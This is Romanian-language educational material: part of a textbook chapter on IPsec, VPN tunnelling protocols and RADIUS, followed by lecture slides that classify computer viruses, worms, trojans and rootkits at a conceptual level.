numai pachetul transmis prin tunelul IP, în timp ce AH asigură și securitatea antetului exterior
atașat. De regulă acest mod de operare se utilizează între porți de securitate care execută
împachetarea și despachetarea mesajelor (gateway-to-gateway).
Încapsularea de tip transport (transport mode) apare în momentul în care entitățile
participante la IPSec sunt calculatoare independente, care au instalat un soft specializat IPSec,
realizând operații criptografice pentru propriul trafic. Pachetul încapsulat va avea un singur set de
18
adrese IP, publice, ale acestor calculatoare. Protocolul de securitate intervine în pachetul IP și
adaugă un antet de securitate imediat după antetul IP (cu sau fără opțiuni exprimate) dar antetul IP
inițial (header-ul) nu se modifică, doar datele transmise sunt securizate (criptate și/sau
autentificate).
Prin folosirea protocolului AH, adresele IP ale sursei, respectiv destinației, nu pot fi
modificate pe parcurs deoarece acest lucru ar duce la modificarea valorii hash. ESP oferă protecție
minimă protocoalelor de nivel superior, în timp ce AH securizează total pachetul, inclusiv antetul
IP. Acest mod de operare se utilizează pentru schimbul de pachete între calculatoarele-gazdă (host-
to-host).
Dacă la unul din capetele canalului de comunicație definit de SA, se găsește un echipament
de securitate (security gateway, firewall), atunci este obligatoriu ca acel SA să lucreze în modul de
tunelare pentru a evita problemele create de existența căilor multiple de rutare precum și pe cele
datorate fragmentării pachetelor.
Configurarea echipamentelor dintr-o rețea în vederea aplicării IPsec se realizează de către o
persoană cu drepturi depline de stabilire a securității rețelei (security officer), în trei etape:
1. crearea grupurilor de securitate (SA) și stabilirea drepturilor și atribuțiilor acestora;
2. configurarea legăturilor dintre SA-uri și stabilirea ierarhiilor de priorități, folosind
ISAKMP/IKE (RFC 2408, RFC 2409);
3. stabilirea modalităților de clasificare a pachetelor IP și de acțiune asupra lor (permite sau
interzice accesul în rețea, aplică procedurile de securitate conform IPsec).
Aceste configurații referitoare la IPsec sunt stocate în bazele de date pentru securitatea
rețelei (SPD - Security Policy Database), la care are acces doar administratorul de rețea. Regulile de
securitate aplicate într-o rețea folosind IPsec stabilesc trei moduri posibile de acțiune asupra
pachetelor IP:
1. se aplică pachetului serviciile de securitate conform IPsec;
2. se interzice accesul pachetului în rețea (deny);
3. se acordă permisiunea de acces în rețea, fără aplicarea măsurilor de securitate IP (bypass
IPsec).
Modul de acțiune asupra unui pachet IP se stabilește pe baza antetelor conținute de acesta,
prin operația de clasificare a pachetelor, în funcție de diverși factori de selecție, cum ar fi: adresa IP
a sursei, adresa IP a destinației, portul-sursă, portul-destinație, protocolul de transport, numele
utilizatorului sau al sistemului, gradul de prioritate a informațiilor conținute în pachet.
IPsec oferă posibilitatea unei comunicări sigure în rețelele de arie largă (WAN), în aplicații
precum:
19
definirea rețelelor virtuale private, în care uzual IPsec este configurat să folosească
protocolul ESP în modul tunel pentru furnizarea confidențialității; pentru o organizație cu
mai multe rețele locale, aflate în diferite locații, traficul intern al rețelelor locale nu este
securizat, în timp ce traficul între acestea utilizează IPsec pentru securizare; IPsec este
activat în echipamentele de acces la rețeaua de arie largă, de exemplu în gateway, router sau
firewall; operațiile de criptare/decriptare și de autentificare executate de IPsec sunt
transparente pentru stațiile de lucru și serverele din rețelele locale;
accesul securizat de la distanță prin rețeaua publică de Internet la un sistem în care este
implementat protocolul IPsec; se poate apela la un furnizor de Internet pentru a obține
accesul securizat la o rețea privată;
îmbunătățirea securității aplicațiilor distribuite care au o serie de mecanisme de securitate
incluse; principala caracteristică a IPsec care îi permite să securizeze o gamă atât de largă de
aplicații distribuite (e-mail, transfer de fișiere, acces Web etc.), este faptul că pentru întregul
trafic IP se pot utiliza mecanismele de criptare și/sau autentificare.
Pentru o SA ca și identificatori avem un număr aleatoriu, denumit identificator de securitate
(SPI - Security Parameter Index), o adresă IP de destinație și un protocol de securitate (AH sau
ESP).
Identificatorul de securitate constă într-un sir de biți cu semnificație locală, inclus în
antetele AH și ESP pentru a permite destinației să selecteze SA-ul pentru procesarea pachetului
recepționat.
Adresa IP de destinație este adresa nodului de destinație al SA, care poate fi un calculator-
gazdă (host) sau un echipament de comunicație al rețelei (router, firewall, access point).
Identificatorul protocolului de securitate indică pentru care protocol, AH sau ESP, lucrează
SA. Dacă este necesară utilizarea ambelor protocoale de securitate în Internet (AH si ESP), atunci
se creează și se configurează legăturile dintre două sau mai multe SA.
Pentru ca în momentul securizării traficului fiecare entitate să cunoască parametrii de
securizare pentru fiecare tip de trafic este folosit identificatorul SPI - Security Parameter Index, un
index pe baza de date SAD. Folosind acest index și valoarea adresei IP din destinația pachetului ce
urmează a fi supus procesului de criptare sau autentificare, fiecare entitate IPSec știe exact ce
transformare trebuie realizată pe fiecare pachet IP pentru ca acesta să poată fi corect decriptat și
interpretat la receptor.
În momentul recepției unui pachet astfel securizat procesul de decriptare este asemănător cu
cel realizat la criptare. În cazul în care sunt mai mult de doi participanți la SA, în cazul traficului de
tip multicast, asocierea de securitate este furnizată pentru întregul grup și este prezentă pe fiecare
20
sistem participant. Pot exista, de asemenea, mai multe asocieri de securitate pentru un același grup
de entități, fiecare cu diverse nivele de securitate în interiorul grupului.
În funcție de al tipului entității participante la IPSec putem avea modelul de trafic:
LAN-to-LAN sau site-to-site, în cazul în care entitățile sunt două gateway-uri de securitate
care realizează operații criptografice pentru subrețele protejate aflate în administrarea lor;
Remote-Access sau Dial-Up VPN, în cazul în care entitățile sunt un gateway de securitate
care are în administrare o subrețea și un calculator independent care dorește să comunice cu
acea subrețea.
Această manieră de clasificare se pretează în exclusivitate tipului de încapsulare tunel,
neavând sens pentru tipul transport, în principal datorită faptului că un pachet trimis pe rețea are
două seturi de adrese IP: un set „extern”, reprezentat de adresele IP are calculatorului și al gateway-
ului căruia se adresează, și un set de adrese IP „intern”, reprezentat de adresa IP a unei mașini din
interiorul rețelei și a unei adrese IP noi a calculatorului, obținută de la acel gateway pentru a avea
adresabilitate de nivel IP în interiorul rețelei la care acest calculator se conectează. Procedeul prin
care un calculator obține, în momentul negocierii IPSec o adresă de la gateway pentru a avea acces
într-o rețea internă este numit mode-config în scenariile de tip IKEv1 sau configurare remote în cele
de IKEv2.
În momentul negocierii de IKE a parametrilor asocierii de securitate se realizează și faza de
autentificare mutuală sau unilaterală a entităților, existând mai multe modalități de a realiza această
autentificare:
PSK - Pre-Shared Key: pentru autentificare, fiecare entitate are pre-configurată o cheie
secretă, o parolă; în momentul realizării negocierii IKE, entitățile trimit această cheie pe
rețea, spre a fi verificată de entitățile omoloage și verifică, la rândul lor, că o anumită
entitate-pereche are o anumită cheie secretă;
PKI - Public Key Infrastructure: pentru autentificare este folosit un sistem de tip PKI;
fiecare entitate are un certificat digital semnat de o autoritate de certificare publică sau
internă a companiei, dar de încredere pentru toate entitățile participante în IPSec; în faza de
autentificare din IKE, fiecare entitate își trimite certificatul digital către omologi spre a fi
verificat și verifică la rândul ei validitatea acelui certificat digital;
EAP - Extensible Authentication Protocol: la rândul său un framework, de data aceasta de
autentificare, EAP nu realizează însuși autentificarea, ci oferă o schemă de mesaje de
autentificare ce folosește metode specifice, cum sunt MD5, GTC, TLS, SIM, AKA; în faza
de autentificare, EAP este folosit ca extensie a protocolului IKEv2, acest framework nefiind
suportat în IKEv1.
21
Cele mai multe implementări de IPSec încearcă să realizeze pe cât posibil optimizarea
utilizării resurselor computaționale disponibile. Un exemplu în acest sens este închiderea tunelului
IPSec în cazul în care nu se mai trimit date pentru o anumită durată de timp, sau dacă lărgimea de
bandă ocupată pentru o anumită conexiune este nulă. Dacă aceasta este configurația implicită,
pentru anumite conexiuni se poate dori suprascrierea ei și menținerea acelei conexiuni. Una dintre
posibilitățile puse la dispoziție de standard se numește DPD - Dead Peer Detection. Acesta este un
mecanism de timp keepalive care presupune trimiterea unui pachet între capetele conexiunii, la un
interval stabilit.
Cu toate „măsurile de siguranță” luate în cazul IPSec, au fost raportate și unele
vulnerabilităţi în anumite configuraţii ale acestuia, acestea putând fi exploatate de atacatori pentru a
sustrage informaţii confidenţiale. Aceste atacuri sunt posibile când IPSec foloseşte ESP în modul de
funcţionare tunnel cu opţiunea confidentiality only, sau opţiunea integrity protection oferită de
modulul AH sau de un protocol de nivel mai ridicat. Dacă un atacator poate intercepta şi modifica
comunicaţiile IPSec și ICMP între două servere de tip security gateway, exploatând această
vulnerabilitate poate lansa atacuri de tip Destination Address Rewriting, IP Options modification şi
Protocol Field modification, astfel făcând posibilă sustragerea de informaţii din datele transferate
folosind IPsec. Ca și soluţie este recomandat să se configureze ESP astfel încât să folosească atât
opţiunea confidentiality, cât şi integrity protection și să se folosească protocolul AH alături de ESP
pentru a oferi protecţia integrităţii.
12.3.2. VPN
Noțiunea de rețea virtuală privată a fost dată în compartimentul precedent. În continuare
vom face cunoștință cu protocoalele, în baza cărora funcționează un VPN.
VPN-urile nu pot face conexiunile online complet anonime, dar de obicei pot spori nivelul
de confidențialitate și securitate. Pentru a împiedica scurgerea informațiilor private, rețelele VPN
permit în mod obișnuit doar acces autentificat la distanță, utilizând protocoale de tunelizare și
tehnici de criptare.
Modelul de securitate VPN oferă:
confidențialitate, astfel încât, chiar dacă traficul de rețea este „ascultat” la nivelul
pachetelor, un atacator ar vedea numai date criptate;
autentificarea expeditorului, pentru a împiedica accesul utilizatorilor neautorizați la VPN;
integritatea mesajelor, pentru a detecta eventualele cazuri de manipulare a mesajelor
transmise.
22
Un tunel permite încapsularea unui pachet dintr-un tip de protocol în cadrul datagramei1
unui alt protocol. De exemplu, VPN utilizează PPTP pentru a încapsula pachetele IP printr-o rețea
publică, cum ar fi Internetul.
O soluție VPN poate fi configura în baza protocoalelor:
Point-to-Point Tunneling Protocol (PPTP),
Layer 2 Tunneling Protocol (L2TP),
Secure Socket Tunneling Protocol (SSTP).
PPTP, L2TP și SSTP depind în mare măsură de caracteristicile specificate inițial pentru
protocolul Point-to-Point Protocol (PPP), care a fost proiectat pentru a trimite date prin conexiunea
dial-up sau conexiunea dedicată point-to-point. Pentru IP, PPP încapsulează pachetele IP în cadrul
frame-urilor PPP și apoi transmite pachetele PPP încapsulate prin intermediul unei legături point-to-
point. PPP a fost definit inițial ca protocolul care va fi utilizat între un client dial-up și un server de
acces la rețea.
Protocolul PPTP permite ca traficul multiprotocol să fie criptat și apoi încapsulat într-un
antet IP care să fie trimis într-o rețea IP sau într-o rețea IP publică, cum ar fi Internetul. PPTP poate
fi utilizat pentru conexiuni la distanță și conexiuni VPN site-to-site. Atunci când utilizează
Internetul ca rețea publică pentru VPN, serverul PPTP este un server VPN ce suportă PPTP cu o
interfață pe Internet și o a doua interfață pe intranet.
PPTP încapsulează frame-uri PPP în datagrame IP pentru transmisie pe rețea. PPTP
utilizează o conexiune TCP pentru gestionarea tunelurilor și o versiune modificată a Generic
Routing Encapsulation (GRE) pentru a încapsula frame-uri PPP pentru datele tunelate. Conținutul
relevant (payload) al frame-urilor PPP încapsulate poate fi criptat, comprimat sau și una și alta.
Structura unui pachet PPTP care conține o datagramă IP este prezentată în figura 12.4.
Frame-ul PPP este criptat cu Microsoft Point-to-Point Encryption (MPPE) utilizând chei de
criptare generate de procesul de autentificare MS-CHAP v2 sau EAP-TLS. Clienții de creare a rețelei
virtuale private trebuie să utilizeze protocolul de autentificare MS-CHAP v2 sau EAP-TLS, pentru
1
Datagrama este un bloc de informații transmis de un protocol, fără a stabili mai întâi o conexiune și a crea un canal
virtual. Orice protocol care nu stabilește o pre-conexiune (și, de obicei, nu controlează ordinea de recepție, transmitere
și dublare a pachetelor) se numește datagram protocol. Așa sunt, de exemplu, protocoalele Ethernet, IP, UDP etc.
Numele „datagrama” a fost ales prin analogie cu cuvântul telegrama.
23
a putea cripta conținutul relevant al frame-urilor PPP. PPTP utilizează criptarea realizată de PPP și
doar încapsulează frame-ul PPP criptat anterior.
Protocolul L2TP permite ca traficul multiprotocol să fie criptat și apoi trimis prin orice mod
care suportă livrarea point-to-point a datagramei, cum ar fi protocolul IP sau modul de transfer
asincron (ATM2). L2TP este o combinație între PPTP și L2F3, o tehnologie dezvoltată de Cisco
Systems, Inc. L2TP reprezintă cele mai bune caracteristici ale PPTP și L2F.
Spre deosebire de PPTP, implementarea de către Microsoft a L2TP nu utilizează MPPE
pentru a cripta datagramele PPP. L2TP se bazează pe securitatea IPsec în modul Transport pentru
serviciile de criptare. Combinația dintre L2TP și IPsec este cunoscută sub numele de L2TP/IPsec.
Atât L2TP cât și IPsec trebuie să fie suportate atât de clientul VPN, cât și de serverul VPN.
L2TP este instalat cu protocolul TCP/IP.
Încapsularea pentru pachetele L2TP/IPsec constă din două nivele: încapsularea L2TP și
încapsularea IPSsec.
La încapsularea L2TP, un frame PPP (o datagramă IP) este înfășurat cu un antet L2TP și un
antet UDP (figura 12.5).
La încapsularea IPsec mesajul L2TP obținut este apoi înfășurat cu IPsec Encapsulating
Security Payload (ESP) header și trailer, un IPsec Authentication trailer care asigură integritatea și
autentificarea mesajelor și un header IP final. În header-ul IP sunt adresele IP sursă și destinație
care corespund clientului VPN și serverului VPN (figura 12.6).
Criptarea. Mesajul L2TP este criptat, utilizând chei de criptare generate de procesul de
negociere Internet Key Exchange (IKE).
2
Mod de transfer asincron (ATM - Asynchronous Transfer Mode) este un protocol de comutație temporală asincronă,
de mare viteză, orientată pe conexiune și bazată pe circuite virtuale, folosită în transportul traficului de rețea. ATM
împachetează informațiile în celule de lungime fixă a câte 53 de octeți, care pot fi interschimbate rapid de conexiunile
logice dintr-o rețea informatică.
3
L2F sau Layer 2 Forwarding este un protocol de tunel dezvoltat de Cisco Systems, Inc. pentru a stabili conexiuni de
rețea privată virtuală prin Internet. L2F nu oferă de la sine criptarea sau confidențialitatea și se bazează pe protocolul de
tunel care asigură confidențialitatea. L2F a fost proiectat anume pentru a realiza tuneluri de tip PPP.
24
Figura 12.6. Încapsularea L2TP și IPsec pentru o datagramă PPP
Protocolul SSTP este un protocol de tunelare care utilizează protocolul HTTPS prin portul
TCP 443 pentru a trece traficul prin firewall-uri și proxy-uri web care ar putea bloca traficul PPTP
și L2TP/IPsec. SSTP oferă un mecanism de încapsulare a traficului PPP pe canalul TLS al
protocolului HTTPS. Utilizarea PPP oferă suport pentru metode puternice de autentificare, cum ar fi
EAP-TLS. SSL asigură securitatea la nivelul Transport prin negocierea cheii, criptare și verificarea
integrității.
Atunci când un client încearcă să stabilească o conexiune VPN bazată pe SSTP, protocolul
stabilește mai întâi un nivel HTTPS bidirecțional cu serverul SSTP. Prin intermediul acestui nivel
HTTPS, pachetele de protocoale se transmit ca payload.
Încapsularea. SSTP încapsulează frame-uri PPP în datagrame IP pentru a fi transmisie prin
rețea. SSTP utilizează o conexiune TCP (prin portul 443) pentru gestionarea tunelurilor, precum și a
frame-urilor de date PPP.
Criptarea. Mesajul SSTP este criptat cu canalul TLS al protocolului HTTPS.
Pe scurt, mecanismul de funcționare al protocolului SSTP este următorul (figura 12.7):
1. este stabilită conexiunea TCP de la client la server (implicit pe portul 443);
2. SSL validează certificatul serverului; dacă certificatul este valid, conexiunea este
stabilită, altfel conexiunea este întreruptă;
3. clientul trimite pachete de control SSTP prin sesiunea HTTPS, care stabilește starea
SSTP pe ambele părți;
4. negocierea PPP asupra SSTP; clientul se autentifică pe server și leagă adresele IP de
interfața SSTP;
5. tunelul SSTP este acum stabilit și încapsularea pachetelor poate începe.
25
Figura 12.7. Mecanismul de funcționare al protocolului SSTP
Protocoalele PPTP, L2TP și SSTP stau la baza VPN realizate în IPsec, Datagram Transport
Layer Security (DTLS), utilizat în Cisco AnyConnect VPN și în OpenConnect VPN, Microsoft
Point-to-Point Encryption (MPPE), Microsoft Secure Socket Tunneling Protocol (SSTP), Multi
Path Virtual Private Network (MPVPN, Secure Shell (SSH) VPN și altele.
12.4.2. RADIUS
Remote Authentication Dial In User Service (RADIUS) este un protocol standard de
Internet care furnizează autentificare centralizată, contabilizare şi servicii de gestiune a IP-urilor
pentru utilizatorii de acces la distanţă într-o reţea dial-up distribuită (deseori se utilizează acronimul
AAA - Authentication, Authorization, Accounting – pentru aceste trei servicii).
Modelul client-server RADIUS are un NAS (Network Access Server - Server de acces la
reţea) care operează drept client al unui server RADIUS. Sistemul, acţionând ca NAS-ul, trimite
26
informaţiile de conexiune şi utilizator la un server RADIUS desemnat utilizând protocolul standard
RADIUS definit în RFC 2865 (figura 12.8).
27
Figura 12.9. Contabilizarea printr-un server RADIUS
Din protocolul RADIUS a fost derivat protocolul DIAMETER, el având multe îmbunătățiri
în diverse aspecte și este, în general, considerat a fi protocolul de autentificare, autorizare și
contabilizare (AAA) de următoarea generație, el fiind un protocol la nivelul aplicație.
28
Tema
Virușii calculatoarelor
• Program Viruses
– acesti virusi infecteaza fisierele de program cu asa extensii ca: .BIN
, .COM, .EXE, .DRV si .SYS.
– Acesti virusi se incarca in memorie in momentul executiei
programelor.
– Virusul devine activ in memorie copiindu-se pe sine si infectind
fisierele de pe disk.
• Multi partite Viruses
– reprezinta un hibrid de virusi program si virusi de boot.
– Ei infecteaza fisierele de program si cind programele infectate
sunt executate acesti virusi infecteaza sectoarele de boot.
– Urmatoarea data cind incarcam calculatorul virusul se incarca in
memorie si infecteaza alte fisiere program.
Clasificarea Virusilor
• Macro Viruses
– reprezinta noi tipuri de virusi care infecteaza macrourile intr-
un document sau template.
– Cind deschidem un document Word sau de tip spreadsheet,
virusul macro este activat si el infecteaza template-urile
normale si fisiere a caror scop principal este de a stoca
setarile de formatare a documentului.
– Fiecare document pe care-l deschidem si se refera la un
template normal, prin urmare devine infectat cu un virus
macro.
– Din momentul in care acest virus se ataseaza la documente,
infectia se poate raspindii in cazul in care astfel de
documente sunt deschise de pe alte computere.
3. Tipuri de viruși
1. Virușii fișierelor infestate sau virușii programelor –
infectează fișiere, dar modul de lucru este diferit de la un
virus la altul:
• virușii paraziți, schimbă conținutul fișierelor incit sa devina
total sau partial utilizabile (se strecoară la inceput, mijloc
sau sf. fisierului)
• virușii suprascrierii – inclocuiește codul programului cu
propriul cod / distruge pr.
• Virușii punctelor de intrare obscure –cod scurt in fișier…
• Virușii companion – clonează fișierele și le execută pe cele
clonate…
• Viermii - copie codul intr-un fișier nou
• Virușii legăturănu schimbă codul fișierului, ci SO este
obligat…
3. Tipuri de viruși
2. Virușii sectoarelor de boot – infectează
sectoarele boot ale hard , este declansat la
prima incercare de initializare a sistemului. Au
ca obiectiv distrugerea sau suprascrierea
sectoarelor de boot sau a datelor de pe hard
3. Tipuri de viruși
3. Virușii macro – sunt lansati cind se deschide
un document infectat (macrou-urile autorun
ale unei aplicatii)
3. Tipuri de viruși
4. Virușii de tip script – scrise in limbaje script
(Java script, ActiveX) care folosesc funcția
gazdă a Windows Scripting Host din Microsoft
Windoews pentru a se autoactiva, ceea ce
permite virusilor sa infecteze si alte fisiere din
aceasta clasa
•
3. Tipuri de viruși
6. Viermii –se autocopieaza de la un PC la altul,
fara actiunea utilizatorului, apeleaza la
mesajele e-mail, canalele Internet, mesageria
rapidă…Cei mai periculoși sunt viermii
rețelelor – care exploateaza partile nepazite
ale serverelor si browser-elor…
•
3. Tipuri de viruși
5. Caii troieni – nu se pot autoreplica (cum sunt
si backdoors, rootkits), patrund prin
inselătorie:
• atasare la e-mail
• Crearea de fișiere foarte atractive
• Ascunderea tipului real al fisierului
backdoors
• Troienii ușilor din spate – PC unei rețele este
controlat de alt PC de la distanta printr-un
utilitar de administrare a retelelor
• Port-sacner pentru IP
Rootkit
• Termenul rootkit face referire la acel cod software utilizat pentru
modificarea sau simularea funcţiilor de bază ale unui sistem de
operare, dând posibilitatea unui atacator să acceseze un sistem
informatic de la distanţă. Un rootkit poate, de exemplu, să fie
disimulat în comanda dir (windows) sau ls (unix), astfel încât pe
lângă funcţia de bază a acelei comenzi să realizeze şi alte acţiuni
despre care utilizatorul nu este conştient .
Rootkit sunt împărţite în două categorii:
• user – mode – modifică cod software din sistemul de operare folosit
la nivel utilizator (dir, ch, ls);
• kernel – mode – modifică cod software din sistemul de operare
utilizat la nivel nucleu (kernel) - servicii, daemons, procese şi fire de
execuţie, management întreruperi – etc.